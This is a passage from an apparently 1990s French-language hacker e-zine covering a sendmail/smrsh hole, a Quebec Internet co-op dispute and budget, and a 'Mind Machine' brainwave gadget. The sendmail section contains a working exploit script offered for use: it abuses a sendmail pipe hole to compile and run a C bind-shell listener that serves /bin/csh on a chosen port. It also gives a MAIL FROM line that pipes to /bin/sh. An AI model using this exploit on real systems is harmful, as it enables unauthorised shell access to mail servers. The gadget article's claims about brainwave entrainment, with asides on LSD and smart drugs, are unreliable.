everything, you might as well not have smsrh.

The problem is the borderline: procmail and filter, two popular mail
filtering programs (the later of which comes with elm. so you might not
even be aware you have installed it), allow you to perform any command upon
their input, and you can control what rules file they access from the
command line. This means that an envelope From could be:

MAIL FROM: /usr/local/bin/filter -f /tmp/filt

and /tmp/filt, the elm filter rules file, could be:

if always execute /usr/ucb/tail|/bin/sh

and then you're back to square one, one a hacker discovers this. I don't
think it's necessary to do another full example to convince you this time.
I would just have to change the MAIL FROM: line in my telnet example adn this
will work. It should be noted that the smrsh procmail/filter holes require
the hacker to have write access to your machine in a place readable by uid
deamon.

Therefore, IF YOU USE AN UNMODIFIED SMRSH, YOUR SENDMAIL IS STILL
VULNERABLE!!!

What to do about the smrsh hole:

* Remove procmail and filter from the smrsh allowable list. This has the
unfortunate side effect of bouncing any mail to users who have these in
their .forward files, as well as any other aliases (like in /etc/aliases)
that use them.

* Install Alexis Rosen's patch to smrsh, that restricts it to uis's greater
than a specified number, such as 20. This prevents deamon from executing
_anything_ to the prog mailer. It also means that anything in /etc/aliases
that references the prog mailer will fail; instead, you must forward the
mail to an existing account in /etc/aliases, and then give that account a
.forward file, which invokes the smrsh allowed program

---------------------------------cut here------------------------------------
You have to insert the patch after these two lines:

openlog("smrsh", LOG_ODELAY|LOG_CONS, LOG_MAIL);
#endif

-------------------------------the patch itself------------------------------
#ifdef SITE_SEMISECURE
#ifndef LAST_SECURE_UID
#define LAST_SECURE_UID 20
#endif
if (getuid()<LAST_SECURE_UID || geteuid()<LAST_SECURE_UID)
{
syslog(LOG_CRIT, "system uid %d (effective id %d): attempt to use command ``%s'
getuid(), geteuid(), argv[2]);
exit(EX_UNAVAILABLE);
}
#endif /* SITE_SEMISECURE */
---------------------------------cut here-----------------------------------

Make sure that you don't use prog mailers in your aliases file (usually in
/etc or /urc/lib). All mail to such aliases is delivered with UID 1, and it
will bounce.

Note that you're still not secure. Even with alexis' patch, uids that can run
procmail of filter are still accessible (probably).

That's it from me this month, to all hackers, have fun and don't get caught,
and to all sysadmins, have fun and don't get caught with your pants down!

---------------------

Automated Sendmail Hacking

toujours par

Gurney Halleck


Here is an automated way to hack Sendmail. Type in the following
shell script in a file named smail. The run it with the required arguments
and let it do it's job. Let's say you use it with the default arguments, it
would create a VERY big security hole (if your site is not secure). After
running the script, just telnet to your own host on port 7001 and you will
be in a shell runned by UID deamon. This is practical on a site where the
passwords are to tough to crack.

------Cut Here--------

#!/bin/sh
# Description:
#
# Exploit NEW sendmail hole and bind a port so we can spawn a program.
#
# Usage: smail <hostname> <target-user-name> <target-port> <shell command>
# default: smail <localhost> <daemon> <7001> </bin/sh>
port=$3
user=$2
cmd=$4
if [ -z "
$2" ]; then
user=daemon
fi
if [ -z "
$3" ]; then
port=7001
fi
if [ -z "
$4" ]; then
cmd="
/bin/csh -i"
fi
(
sleep 4
echo "
helo"
echo "
mail from: |"
echo "
rcpt to: bounce"
echo "
data"
echo "
."
sleep 3
echo "
mail from: $user"
echo "
rcpt to: | sed '1,/^$/d' | sh"
echo "
data"
echo "
cat > /tmp/a.c <<EOF"
cat << EOF
#include <sys/types.h>
#include <sys/signal.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
reap(){int s;while(wait(&s)!=-1);}main(ac,av)int ac;
int **av;{struct sockaddr_in mya;struct servent *sp
;fd_set muf;int myfd,new,x,maxfd=getdtablesize();
signal(SIGCLD,reap);if((myfd=socket(AF_INET,SOCK_STREAM,
0))<0)exit(1);mya.sin_family=AF_INET;bzero(&mya.sin_addr,
sizeof(mya.sin_addr));if((sp=getservbyname(av[1],"
tcp"))
==(struct servent *)0){if(atoi(av[1])<=0)exit(1);mya.sin_port
=htons(atoi(av[1]));}else mya.sin_port=sp->s_port;if(bind(myfd,
(struct sockaddr *)&mya,sizeof(mya)))exit(1);if(listen(myfd,
1)<0)exit(1);loop: FD_ZERO(&muf);FD_SET(myfd,&muf);if
(select(myfd+1,&muf,0,0,0)!=1||!FD_ISSET(myfd,&muf))goto
loop;if((new=accept(myfd,0,0))<0)goto loop;if(fork()
==0){for(x=2;x<maxfd;x++)if(x!=new)close(x);for(x=0;x<
NSIG;x++)signal(x,SIG_DFL);dup2(new,0);close(new);dup2
(0,1);dup2(0,2);execv(av[2],av+2);exit(1);}close(new);
goto loop;}
EOF
echo "
EOF"
echo "
cd /tmp"
echo "
/bin/cc /tmp/a.c"
echo "
/bin/rm a.c"
echo "
/tmp/a.out $port $cmd"
echo "
."
echo "
quit"
) | mconnect $1


-----------------------------------------------------------------

úAú úPúRúEúVúIúOúUúSúLúYú úUúNúKúNúOúWúNú úLúIúFúEúSúTúYúLúEú

-----------------------------------------------------------------


LLC, ‡a s'en vient?

par

Santa Claus

Oui. Et plus vite que vous pensez... Ceux qui ‚taient … la
derniŠre r‚union savent … quoi s'attendre pour la troisiŠme, I.E.
le plan d'achat. Eh! oui... Et qu'est-ce qu'on fait quand le stock
est achet‚? On fonctionne.

A la derniŠre rencontre, beaucoup de choses m'ont surpris.
J'ai vu notamment Mario Cantin, Pr‚sident, beaucoup moins agressif
qu'… LLC #1. Nous n'avons pas eu droit … la guerre froide entre M.
tout-le-monde qui ne pense qu'… lui et les gens qui veulent que ‡a
marche... Pourquoi? Parce que M. tout-le-monde n'‚tait pas
invit‚... 8) Certains ont fait beaucoup d'argent aussi! De nombreux
paris ‚taient d‚clar‚s lors de la "
Discussion" sur les Statuts de
LLC: Un sympathique monsieur fumant la pipe, dont je ne veux pas
parler … tort, car Syndic il est devenu, a pratiquement contest‚
TOUS les points de la charte! C'‚tait dr“le au d‚but, mais vers la
fin, hhhhmmmmmmppppppffffff!

[Atreid- Le mot hhhmmmmmmppppppfffff! prend
seulement 3 'h' et 5 'f' ! Tu devrais le savoir … ton ƒge!]

Nous aurons donc droit … une charte quasi-totalement modifi‚e,
mais qui ne comportera pratiquement aucune ambigu‹t‚. Elle devrait,
selon moi, ˆtre publi‚e dans le prochain magazine.
On a aussi parl‚ des plans d'achats, vaguement, mais le sujet est
quand mˆme sur la table... Blitz vous en reparlera dans son
article.


Quelques figures ont aussi ‚t‚ ‚lues:

- Pr‚sident: Mario Cantin
- Vice-pr‚sident: R‚al Fournier
- Tr‚sorier: Herv‚ Lamarre
- Secr‚taire: Dr Claude Blouin
- Syndics: Vincent Couture
Me Jean-Louis Renaud


Si tout se passe bien, vous devriez ˆtre emmen‚s … voter pour
diff‚rents plans d'achats lors de la prochaine r‚union... Mais
d'ici l…, hmm... faŒtes ce que vous voulez...
^^^^^^^^^^^^^^^^^^^^^^^^^^^^
[Atreid- Ah! Quel commentaire constructif! :) ]

-----------------------------------------------------------------

úAú úPúRúEúVúIúOúUúSúLúYú úUúNúKúNúOúWúNú úLúIúFúEúSúTúYúLúEú

-----------------------------------------------------------------

A vos Mac, Prˆt, Raggez!

par

The Shaman

Plusieurs personnes voient d'un bon oeil la venue de Libert‚,
Libert‚ Ch‚rie dans le paysage cybern‚tique de Qu‚bec, mais
il n'en est pas de mˆme pour plusieurs personnes au sein de la
direction du Club MacIntosh de Qu‚bec.

En fait le pr‚sident du Club et son vice-pr‚sident ont lƒchement
profit‚ de la tribune que Synapse, le bbs du Club, leur offre,
pour vilipender l'id‚e d'une Coop Internet dans le 418. Pour
illustrer mes propos je cite les dires du pr‚sident lui-mˆme :

"
AprŠs certaines v‚rifications, il semble qu'il est plus que
raisonnable de ne pas se pr‚senter … ces rencontres. Une rencontre
a eu lieu derniŠrement sur le sujet, et la GRC ‚tait pr‚sente (...)

...Leur but principal serait de contr“ler les accŠs Internet …
Qu‚bec pour ˆtre capable d'en profiter dans un but pas tout-…-fait
catholique. (...) "

Ce message n'avait pour seul but que de d‚truire la cr‚dibilit‚
de LLC en s'attaquant a ses administrateurs. Il semble que cela ait
fonctionn‚ car la plupart des membres du Club que j'ai contact‚s ne
toucheraient pas … LLC. Pas mˆme avec une perche de 100 pieds.

Je f–t d‚cu quand je lus les lignes qui pr‚cŠdent mais je
devins litt‚ralement enrag‚ quand je lus ce qui suit. Encore
de la plume de Christian Gingras, pr‚sident du Club :

"
...Comme un accŠs Internet est trŠs dispendieux, ils tentent
d'attirer des collaborateurs qui paieront avec eux. Ce cette fa‡on,
ils paieront moins cher. (...)

...Et ˆtre collaborateur de ces gens, c'est ‚ventuellement
participer … un crime informatique! "

Un ramassis d'inepties! Je ne puis figurer que des gens qui sont
sens‚ diriger un des plus importants regroupements de fans
d'informatique au pays puissent s'attaquer … la libre entreprise et
tenter de tuer dans l'oeuf un organisme qui est promis a un
destin glorieux.

[Atreid- Humm... Un des plus importants regroupements de fans
d'informatique au pays? ;-) ]

Par contre, une explication s'impose. On murmure qu'il y a
quelques temps, l'ex‚cutif du Club aurait fait des
d‚marches dans le but de doter le Club d'une node Internet...
Il est ‚vident qu'il ont essuy‚ un ‚chec. La jalousie serait-elle
le motif de toutes ces paroles mesquines? Chers amis, je vous
rappelle que la jalousie est du nombre des p‚ch‚s capitaux!

Mais cela ne restera pas l…! Il n'y a pas dans LLC seulement des
"
kids" comme moi. Il y a aussi des hommes et des femmes d'ƒges
m–rs, des m‚decins, des avocats et des PDG. Ceux-l… n'accepteront
pas d'ˆtre trait‚s de "
criminels informatiques" par quelqu'un qui
parle sans preuves...

Je pourrais perdre un temps fou … vous citer les paroles du
SysOp de Synapse ou celles de Stephane-Billy Gousse, le
vice-pr‚sident du Club. Mais je ne le ferai pas car ils r‚petent
tous les mˆmes histoires.

Je conclus en vous invitant, si vous ˆtes membres, … br–ler votre
carte de membre et … la faire parvenir au pr‚sident du club.
Investissez donc dans l'avenir et le progrŠs. LLC vous permettera
de d‚truire les derniŠres frontiŠres qui vous limitent encore a
votre salon.

Et … vous, dirigeants du Club... N'h‚sitez pas … contacter nos
tˆtes dirigeantes ou mˆme … vous inscrire sur l'un de nos
babillards pour discuter entre protagonistes des deux scŠnes. Pour
ma part, les portes de mon bbs vous sont ouvertes. Toutes les
informations reli‚es … mon bbs, qui est r‚ouvert, vous seront
envoy‚es en mˆme temps que cet article.


The Shaman

-----------------------------------------------------------------

úAú úPúRúEúVúIúOúUúSúLúYú úUúNúKúNúOúWúNú úLúIúFúEúSúTúYúLúEú

-----------------------------------------------------------------

Yeux en compote sur Mind Machine

par

Atreid Bevatron

Mind Machine... La machine de l'esprit... La traduction exacte
du nom est Harmonisateur d'Ondes C‚r‚brales. Elle porte ce nom
parce que c'est bien ce qu'elle est; elle harmonise notre esprit au
niveau qu'on veut bien lui donner. La Mind Machine fait rˆver,
halluciner, relaxer, dormir. Elle te pousse aux confins de ton
imagination, de tes sens et de ta concentration.

Le principe de la Mind Machine est assez simple. Son modŠle le
plus commun existe sous la forme d'une paire de lunettes opaques
(style Oakley), avec quatre minuscules LEDs face … chaque oeil. La
Mind Machine est aussi munie d'un simple casque d'‚coute comme on
peut en voir sur n'importe quel WalkMan... Les lumiŠres clignotent
… une certaine vitesse et dans les ‚couteurs, on peut entendre une
s‚rie continue de BIPs synchronis‚s. Pour se servir de la Mind
Machine, on doit s'installer confortablement, mettre les lunettes
et les ‚couteurs et SE FERMER LES YEUX. Afin d'expliquer le r“le de
ces BIPs et de ces flash, un concept doit ˆtre ‚clairci.


Chaque neurone de notre cortex vibre pour transmettre sa part
d'information. Ces vibrations sont commun‚ment nomm‚es Ondes
C‚r‚brales. Une vibration rapide permet au cerveau d'ˆtre dans un
‚tat alerte, prˆt … r‚pondre … des problŠmes sp‚cialis‚s et
compliqu‚s, tandis qu'une vibration lente donne un point de vue
plus global, moins d‚taill‚ et moins r‚fl‚chi.

Les Ondes C‚r‚brales sont regroup‚es en 4 grandes cat‚gories:
Alpha, Bˆta, Thˆta et Delta. La vitesse de clignotement s'‚chelonne
de 1 … 30 Hz. Voici un petit tableau:

Nom ³ Fr‚quence (Hz) ³ tat Psychologique
ÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Bˆta ³ 14-30 ³ Esprit alerte.
³ ³
Alpha ³ 8-13 ³ En g‚n‚ral les yeux ferm‚s.
³ ³ Relax‚, mais tout de mˆme ‚veill‚.
³ ³
Thˆta ³ 4-7 ³ Profonde relaxation, premiŠres
³ ³ phases du sommeil, rˆves ‚veill‚s.
³ ³
Delta ³ 1-3 ³ Sommeil Profond.
³ ³


La Mind Machine sert donc … harmoniser les vibrations de nos
neuronnes au rythme qu'on d‚sire, pour faciliter l'acomplissement
de certaines tƒches mentales ou simplement pour la d‚tente.

Le r“le, pour y revenir, des BIPs et des FLASHs de la Mind
Machine est simple. Selon les ‚tudes, si vous commencez une s‚ance
en imposant … la Mind Machine un rythme qui se rapproche du rythme
de vibration pr‚sent de votre cerveau et que, graduellement, vous
approchez lentement la machine … une autre fr‚quence de vibration,
votre cerveau sera lentement entraŒn‚ vers cette nouvelle
fr‚quence.

Par exemple, si vous revenez de travaillez, vous pouvez
supposer que votre cerveau vibre vers les 25 Hz. Vous ˆtes alerte
… ce moment. Vous avez rendez-vous avec votre blonde … 23h00 et
vous pr‚voyez une nuit blanche trŠs mouvement‚e. Comme vous ne
voulez surtout pas vous endormir au milieu de la nuit, vous
aimeriez bien prendre quelques heures de sommeil, mais vous n'avez
pas sommeil. Quoi faire? Vous prenez votre Mind Machine, partez les
vibrations … environ 25 Hz et choisissez un programme qui abaissera
graduellement les vibrations … 2 ou 3 Hz. Trente minutes plus tard,
vous sombrez dans un profond sommeil. Pourquoi? Parce que la Mind
Machine a graduellement abaiss‚ la fr‚quence de vos ondes
c‚r‚brales au niveau de vibration qu'elles ont en pleine nuit
lorsque vous dormez trŠs profond‚ment. Votre alarme vous r‚veille
trois ou quatre heures plus tard, en pleine forme pour affronter
une nuit blanche mouvement‚e, grƒce … votre Mind Machine.


LA VISUALISATION
^^^^^^^^^^^^^^^^
Je dirais que c'est une des abilit‚s les plus int‚ressantes
que la Mind Machine permet d'acqu‚rir. Visualiser, c'est penser …
quelque chose, un acte ou un objet, et le VOIR.

Essayez tout de suite tiens. Pensez disons … un avion dans le
ciel. Imaginez-vous cet avion. Vous pouvez bien s–r d‚crire cet
objet, car vous l'imaginez en ce moment, mais pour la plupart des
gens, l'objet imagin‚ sera vague, pr‚sent seulement par fraction de
seconde. Quelques fois mˆme, vous ne le verrez pas du tout, vous ne
pourrez que savoir que vous ˆtes en train de penser … cet objet.

Vous devez tenter de diff‚rencier le fait d'imaginer et le
fait de VOIR. Lorsque je parle de visualisation, je parle bien de
la facult‚ de cr‚er devant soit une image concrŠte et r‚elle,
presqu'une hallucination.

Vous savez tous ce qu'est le LSD. Ses effets hallucinatoires
sont connus de tous d'ailleurs. L'effet du LSD n'est pas si
diff‚rent de la visualisation, du moins lorsque vous avez les yeux
ferm‚s. En fait, c'est une forme de visualisation. Fermez vos yeux
lors d'un trip de LSD et vous verrez d‚filer devant vous un
gigantesque kal‚idoscope de couleur. Concentrez-vous sur l'avion de
tout … l'heure et vous verrez, du moins pour ceux qui maŒtrise
l'effet, l'avion se mat‚rialiser devant vous, avec le ciel
derriŠre. Imaginez du vent dans ce d‚licieux ciel bleut‚, et vous
sentirez mˆme une l‚gŠre brise venir effleurer votre visage. Tendez
l'oreille et vous pourrez presque entendre le bruit de l'avion.
Vous croyez que je ne parle que d'un trip de LSD? Pas du tout. La
Mind Machine peut vous faire atteindre ce stade de visualisation,
du moins pour les utilisateurs exp‚riment‚s. D'ailleurs, la Mind
Machine inculque la visualisation. Ce qui veut dire que, toujours
pour un utilisateur exp‚riment‚, il deviendra possible d'accomplir
une puissante visualisation sans l'aide de la Mind Machine, ce qui
veut dire que les effets de la Mind Machine peuvent devenir
permanents. La visualisation est une facult‚ qui s'apprend et la
Mind Machine est un outil de taille pour acc‚l‚rer cet
apprentissage.

La visualisation ne s'arrˆte pas non plus … une hallucination
visuelle. Elle comprend aussi la facult‚ du touch‚, de l'odorat,
des sons et du go–t, le tout uniquement par l'imagination.
Imaginez-vous en pleine baise et vous voil… parti, imaginez-vous en
train de bouffer une pizza et vous vous mettrez … go–ter la pizza.
La facult‚ de visualisation est grad‚e en 7 parties. Voil… donc un
autre petit tableau:


ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÒÄÄÄÄÄÄÄÄ¿
³ Diff‚rents types d'exp‚riences de visualisation º Cote ³
ÆÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÎÍÍÍÍÍÍÍ͵
³ Parfaitement clair et aussi r‚aliste qu'une º 1 ³
³ exp‚rience r‚elle. º ³
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ×ÄÄÄÄÄÄÄÄ´
³ TrŠs clair et comparable … une exp‚rience r‚elle º 2 ³
³ au niveau r‚aliste. º ³
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ×ÄÄÄÄÄÄÄÄ´
³ Mod‚remment clair et r‚aliste º 3 ³
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ×ÄÄÄÄÄÄÄÄ´
³ Pas trŠs clair et r‚aliste, mais identifiable º 4 ³
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ×ÄÄÄÄÄÄÄÄ´
³ Vague et non r‚aliste º 5 ³
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ×ÄÄÄÄÄÄÄÄ´
³ Si vague et non r‚aliste que l'image est º 6 ³
³ difficilement identifiable º ³
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ×ÄÄÄÄÄÄÄÄ´
³ Aucune image pr‚sente. Tout ce que vous savez, c'est º 7 ³
³ que vous ˆtes en train de penser … l'objet º ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÐÄÄÄÄÄÄÄÄÙ

Je dirais que la majorit‚ des gens se situe dans le 6 et le 7.
Avec la Mind Machine, pour un utilisateur exp‚riment‚ assist‚ d'un
sp‚cialiste, il est POSSIBLE d'atteindre la cote 1. Je dis bien
possible, mais … ma connaissance (et elle est limit‚e ma
connaissance sur ce sujet!), ces cas sont rares. De plus, selon
quelques ‚tudes, le fait de combiner certaines SMART DRUGS comme la
PIRACETAM avec l'utilisation de la Mind Machine pourrait permettre
d'atteindre des r‚sultats beaucoup plus convaincants (cote 1?).


OU S'EN PROCURER ET A QUEL PRIX?
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

Il n'existe pour l'instant aucun vendeur dans la r‚gion de
Qu‚bec, quelques-uns … Montr‚al (dont je ne connais pas les num‚ros
de t‚l‚phone, malheureusement!).

J'ai toutefois sous la main le nom d'un centre o— il est
possible de faire l'essai, et mˆme de faire des th‚rapies contre le
stress, pour la visualisation, pour la cr‚ativit‚, etc.

OVARIUM, Centre d'veil de l'ˆtre. 514-271-7515
5370, Ave du Parc,
Montr‚al, QC,
H2V 4G7

Probablement que de l…, vous pourrez apprendre o— il est possible
de s'en procurer.

Deux autres endroits, o— vous pouvez en acheter, mais aux tats-
Unis par contre. Ces deux endroits offrent des catalogues de leurs
produits:

Mega Brain Tools for Exploration
P.O. Box 2205 4460, Redwood Highway, Suite 2
Sausalito, CA 94965-9998 San Rafael, CA 94903
Voice: 415-332-8323 Voice: 800-456-9887
Fax: 415-332-8327 Fax: 415-499-9047


Les prix varient beaucoup, mais le prix d'une Mind Machine de
bonne qualit‚ est d'environ 350$. Le modŠle le plus r‚pandu et le
plus garanti pour sa qualit‚ est le DAVID PARADISE, fabriqu‚ par la
compagnie COMPTRONICS. Le modŠle non-programmable … environ 400$ et
le programmable … 695$. Pas la peine de dire que le fait de pouvoir
programmer est trŠs avantageux pour les utilisateurs exp‚riment‚s.


FINALEMENT
^^^^^^^^^^
La Mind Machine n'est que le d‚but. Avec l'avancement de la
technologie, on peut facilement imaginer que ce genre d'appareils
se perfectionnera et qu'atteindre la cote 1 de visualisation pourra
devenir de plus en plus facile. Et encore, je n'ai pas parl‚ des
autres produits comme les bains flottants

  
ou les appareils …
stimulation ‚lectrique. Il existe aussi quelques logiciels pour PC
qui arrivent … reproduire un peu ce qu'est la Mind Machine. J'en ai
JUSTEMENT un sous la main et en plus, c'est une version SHAREWARE!
Ah! Merveilleux... Pour ne pas courir aprŠs les troubles de droits
d'auteurs (puisque la GRC nous lit!), je ne vais pas l'inclure dans
l'archive, mais je vais l'uploader sur tous les BBS PUBLICS ET
PRIVS DE NPC, dont vous pourrez trouver les num‚ros au d‚but du
magazine. Le nom du programme est FLASHER dans l'archive
FLASHER.ZIP... Pour se servir du programme, vous n'avez qu'…
d‚terminer la vitesse de clignotement et le type d'image. Je vous
recommande particuliŠrement la vitesse 7 avec l'image ZETA.
Ensuite, fermez vos yeux et collez-vous la face … 10 centimŠtres de
l'‚cran. Essayez quelques fois aussi les yeux ouverts. Bref,
amusez-vous avec ‡a. Je vous rappelle de laisser tomber si vous
ˆtes ‚pileptiques, et je ne blague pas! Bien s–r, ce n'est qu'un
avant-go–t de la VRAIE Mind Machine, mais quelques de mes amis
l'ont ador‚... (N'est-ce pas White Wizard? :] )

Un fait int‚ressant en passant... Lorsque vous commencerez … voir
des kal‚idoscopes de couleurs (les yeux ferm‚s), ce n'est pas parce
que la lumiŠre envoy‚e est color‚e. C'est dans votre tˆte que ‡a se
passe!

Alors je vous dis bon trip... :)


-----------------------------------------------------------------

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-----------------------------------------------------------------

LLC: C'EST TOUT UN BORDEL D'AMENER INTERNET A QUBEC!

par Mario Cantin


Bonjour les amis! Tonton Blitz vient vous livrer les derniŠres
nouvelles … propos de LLC. Je ne vous parlerai pas de statuts,
d'‚lections ou de d‚tails administratifs, je vous parle aujourd'hui
du systŠme lui-mˆme et du budget! Tout ce qui vous int‚resse, quoi!

En tout premier lieu, un beau graphique <grin> de LLC, tel
qu'il sera con‡u pour desservir 100 usagers. C'est bien important
que vous vous souveniez de cela: CENT USAGERS!


º
º Ligne Fonorola de 56 kbps (maximum throughput: 2 gigs/mois)
º
º
º
 Modem V-35
º
º
ÛÛÛÛÛÛÛ
ÛÛÛÛÛÛÛ Router Cisco
ÛÛÛÛÛÛÛÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ°°°
³ °°° 386-16 usag‚
³
³
³ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄIJ²²²²² Serveur de Terminal
ÜÜÜÜÜÛÜÜÜÛ ²²²²²²
ÝSun SparcÝ ÚÄÄÄÄÄÄÄÄÄÄÄIJ²²²²²ÄÄÄÄÄÄÄÄÄÄÄÄ¿
Ý10-clone?Ý ³ÚÄÄÄÄÄÄÄÄÄÄIJ²²²²²ÄÄÄÄÄÄÄÄÄÄÄ¿³
ÛÜÜÜÜÜÜÜÜÛÛ ³³ÚÄÄÄÄÄÄÄÄÄIJ²²²²²ÄÄÄÄÄÄÄÄÄÄ¿³³
³ ³³³ ³³ ³³ ³³³
³ ³³³ ³³ ³³ ³³³
³ ³³³ ³³ ³³ ³³³
³ ³³³ ³³ ³³ ³³³
³ S‚rie de ³³ ³³ ³³ ³³
³ 10 modems ³³ ³ ³ ³³
³ ³³ ³ ³ ³³
³ ³³³ ³³ ³³ ³³³
³ ³³³ ³³ ³³ ³³³
³ ³³³ ³³ ³³ ³³³
³ ³³ ³ ³ ³³ 10 usagers
³ ³   ³ contents!
³  
³
³
³
³
°°° 386-33 usag‚ Antenne satellite Pagesat
°°°ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄððððððððððð
°°° ððð û ððð


Ben, c'est exactement de cela que LLC va avoir l'air! On va parler,
dans l'ordre:

1) Utilit‚ de chaque piŠce du systŠme

2) Co–t du systŠme

3) Limitations du systŠme


1) Fonorola nous fournit une 56 kbps (medium), d'une capacit‚ de 2
gigs par mois. Ce sont les deux lignes parallŠles qui entrent …
gauche en haut du dessin. Cette ligne, si toutes les conditions
sont observ‚es, nous co–te 600$ par mois (plus 200$ de frais
d'installation de base -one shot-).

Cette ligne entre sur un modem sp‚cial, un V-35, qui co–te
environ $500. Lui mˆme est ensuite connect‚ sur un router Cisco,
fournit gratuitement par Fonorola. On garde en permanence en 386
(usag‚ si possible) branch‚ pour contr“ler le flot du trafic. On
pourra un jour (dans le futur) installer un autre 386 l… pour
servir de site FTP, et un autre (toujours dans le futur) pour ceux
qui voudraient tester leurs capacit‚s de crackers (on installera
Linux full-configur‚ et vous pourrez essayer d'entrer!).

Le router Cisco est lui-mˆme reli‚ … l'ordinateur central de
LLC, plus que probablement un clone SPARC 10 (6,500$ US), … moins
que nous trouvions des commandites … Qu‚bec, ce qui est toujours
possible. Nous n'avons cependant pas encore commenc‚ … les chercher
(vous verrez tout … l'heure pourquoi). Il faudra probablement y
rajouter un gig de disque dur (1000$), et un lecteur CD-Rom (Linux
et les gros programmes Unix dont nous avons besoin sont plus
maniables ainsi: 500$).

En bas du Sparc, vous voyez une ligne qui va jusqu'… un 386-25
(usag‚), qui va lui-mˆme … un r‚cepteur satellite. Qu'est-ce que ‡a
fout l…? Ben, vous avez d‚j… entendu parler de Usenet, les
newsgroups d'Internet? Les sites dignes de ce nom les offre tous,
et ‡a repr‚sente de 50 … 80 megs par jour de data. De fa‡on … ne
pas empi‚ter sur notre bandwith (largeur de bande) et notre
throughput (sortie maximale), nous allons utiliser le service
Pagesat et recevoir TOUT Usenet par satellite. L'antenne et tout le
bataclan nous reviennent … 2000$ US, et il n'y a pas de frais
d'utilisation la premiŠre ann‚e. AprŠs deux ans, ‡a va commencer …
nous co–ter environ 30$US par mois...

A droite du SPARC 10, il y a un serveur de terminal ($3000US),
branch‚ sur 10 modems (10 x 400$US), eux-mˆmes branch‚s sur dix
lignes t‚l‚phoniques, une ligne par 10 usagers. C'est par ces
lignes que vous allez entrer.

En gros, c'est ‡a. Ce que vous ne voyez pas, dans le dessin,
c'est une g‚n‚ratrice de secours (appel‚e couramment UPS) qui, en
cas de panne (on est au Qu‚bec, n'est-ce pas!), va pr‚venir les
usagers sur le systŠme et fermer le systŠme EN DOUCEUR, de fa‡on …
ce qu'il ne plante pas. Pr‚voyons aussi un 1000$ de programmes, un
tape backup (500$), et quelques gugusses.



2) Faisons un calcul rapide du co–t de l'‚quipement, payable une
seule fois, pour un systŠme de dix lignes et cent usagers.

QUIPEMENT
""""""""""

V-35 : 500$
SPARC 10 : 6500$US=7800$
386-16 : 400$ (usag‚)
386-25 : 800$ (usag‚ avec un disque d'un gig)
Pagesat : 2000$US=2400$
Serveur : 3000$US=3600$
CD-Rom : 500$
Disque 1G : 1000$
10 modems : 4000$
UPS : 800$
Divers : 1000$ (cƒbles et programmes)
----------------------------------------------------
Total : 22,800$

Faisons maintenant un rapide calcul du co–t de fonctionnement du
systŠme, toujours sur la base de 100 usagers.

COUTS MENSUELS
""""""""""""""

56 Kbps : 600$
Lignes de Bell (10) : 394$ (Centrex)
Local : 150$ (‚lectricit‚ et chauffage compris)
-----------------------------------------------------------------
Total : 1144$

Faisons maintenant un rapide calcul des co–ts d'installation du
systŠme, toujours sur la base de 100 usagers.

FRAIS D'INSTALLATION
""""""""""""""""""""

56 kbps : 200$
T‚l‚phone : 1131$
--------------------------------------
Total : 1331$

Et nous, comment payons-nous tout cela? La part sociale, vous vous
en souvenez, est de 8 x 10$, soit 80$. A cent usagers, ‡a fait
8000$. Que nous devons utiliser avec parcimonie, car nous devons
ˆtre prˆts … rembourser les parts sociales n'importe quand, si
quelqu'un quitte la coop‚rative.

Et le tarif mensuel? Deux tarifs sont encore … l'‚tude:

-25$ par mois: une heure d'accŠs dans la tranche de nuit
deux heures dans la tranche de jour
pour un total de 60 points

-35$ par mois: DEUX heures d'accŠs dans la tranche de nuit
Quatre heures dans la tranche de jour
pour un total de 120 points

OK, … ce point-ci, vous avez certainement deux questions:

a) Comment ‡a se fait que, contrairement … ce que tu disais, on a
pas un accŠs ILLIMIT?

b) C'est quoi la tranche de jour et la tranche de nuit?

On va r‚pondre tout de suite aux deux questions. Suivez-moi bien et
vous allez tout comprendre.

Nous avons fait un mini-sondage auprŠs de certains d'entre
vous, et l'‚crasante majorit‚ pr‚voient d'utiliser le systŠme entre
17 heures et une heure du matin. Nous avons donc divis‚ la journ‚e
